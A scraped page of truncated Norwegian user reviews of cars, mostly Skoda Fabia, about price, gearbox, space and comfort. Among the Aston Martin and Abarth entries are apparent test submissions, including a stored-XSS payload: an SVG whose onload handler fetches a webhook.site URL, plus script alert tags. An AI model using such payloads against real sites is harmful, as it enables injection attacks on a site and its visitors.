Vurdert av Benjamin
Skoda Fabia (2017)
jeg er meget fornøyd med min skoda
Skoda Fabia (2017)
Manuell 6-trinns kasse synes jeg passer denne bilen godt. Lett å parkere, billig ekstra utstyr. Holder til en familie på 4 pers med litt større barn.
Skoda Fabia (2017)
En helt grei og praktisk bil, få kan konkurere på pris og plass. Dsg kassen er stort sett veldig flott i bruk, men køkjøring kreves litt tilvenning da den kan oppleves litt nervøs. Hovedlysene ku
Skoda Fabia (2017)
Fin bil til kurant pris. Ekstra utstyr koster ikke allverden heller. Denne har en nypris på 250k med Adaptiv cruise, mørke ruter, 15mm senk, sportseter og sportsratt, Ryggekamera, 16t svarte somme
Skoda Fabia (2017)
dette er en super bil som er en ekte sportsbil som brukes til/fra jobb og den kjører fantastisk
Skoda Fabia (2016)
Topp og herlig liten bil som byr på masse kjøreglede og komfort. Stort bagasjerom og beinplass gjør bilen ypperlig til langtur. Burde hatt litt større dekk på vinterføre. Spinner fort og kan vir
Skoda Fabia (2016)
Alle vil jo ha masse bil, masse utstyr, masse plass, masse motor, egentlig masse av alt og til lavest mulig pris, men stikker du fingeren i jorda og virkelig analyserer behovet for bil så er dette vi
Skoda Fabia (2015)
Støydempingen kunne ha vært bedre (hjulstøy), billig klang når man lukker dørene og det synes og merkes på enkelte ting at den er "billig". Men rask og god å kjøre, aldri noen feil og går bil
Skoda Fabia (2015)
Veldig bra både for bykjøring og langkjøring
Skoda Fabia (2015)
Kjapp liten, men stor familiebil for familier med litt eldre unger. Litt begrensa bakseteplass. Strålende liten turbobensin med behagelig DSG-kasse. Vanskelig å finne mer bil for pengene.
Renault 5 E-Tech (2025)
Dette er virkelig en bil jeg anbefaler. Årets bil i Europa og Årets bil i Norge, med god grunn. Veldig kult retro-design. Legger til at Renault også hadde årets bil i Europa i 2024 med Scenic E-Te
Citroën e-C4 (2025)
Jeg er foreløpig veldig fornøyd. Har slitt litt med å finne den optimale sittekomforten, men en pute gjorde susen der (jeg er 180 og trengte ekstra korsryggstøtte). Bilens automatikk passer meg ve
Aston Martin DB9 GT (2017)
alert("total")
Aston Martin DB9 GT (2017)
totalvurderingtest
Abarth 500e (2024)
Abarth 500e (2024)
Abarth 500e (2024)
xxxfooo4
Abarth 500e (2024)
<svg xmlns="http://www.w3.org/2000/svg" onload="fetch('https://webhook.site/418d388b-4676-4b57-95ba-4330be1ec311')"> <circle cx="50" cy="50" r="40" fill="red"/> </svg> <script>alert(1)</script>
Volvo EX40 (2026)
Dette er ikke en volvo som vi er kjent med volvo. Dårlige seter, umulig å opprettholde 20grader i kupe på vinter, kjapp på gasspedal, men enormt strømforbruk uansett hvordan du prøver å tilpass
Ford Explorer EV (2025)
Kommer nok til å bytte den ut pga den nervøse oppførselen på vinterføre. Utenom dette svarer den godt på alle parametre.
Ford Kuga (2021)
Forbruk. Gir en tier for forbruk langkjøring. 0,44 og forbruk 0,8 med campingvogn, totalvekt 1400 kg(ved tomt batteri). Rekkevidde elektrisk på vinter månedene er fra 20 - 30 km, blandet/bykjøring
Hongqi E-HS9 (2022)
Den er utrolig komfortabel, stille og har en kvalitet som overgår det meste på markedet. Har hatt bilen i 2år nå, å hele familien elsker bilen!
Mercedes-Benz EQC (2022)
Topp komfort og driftsikker.
Polestar 2 (2022)
God kvalitetsfølelse. Gode (frem-) seter. Smart med OTA (oppdateringer over-the-air). Lett å selv restarte system og app etter behov. Pen bil! Praktisk med frunk for elkabler på langtur. (hvorfor h
Mercedes-Benz GLE (2020)
Skuffende å måtte skifte opphengskuler foran på begge sider etter kun 75000 km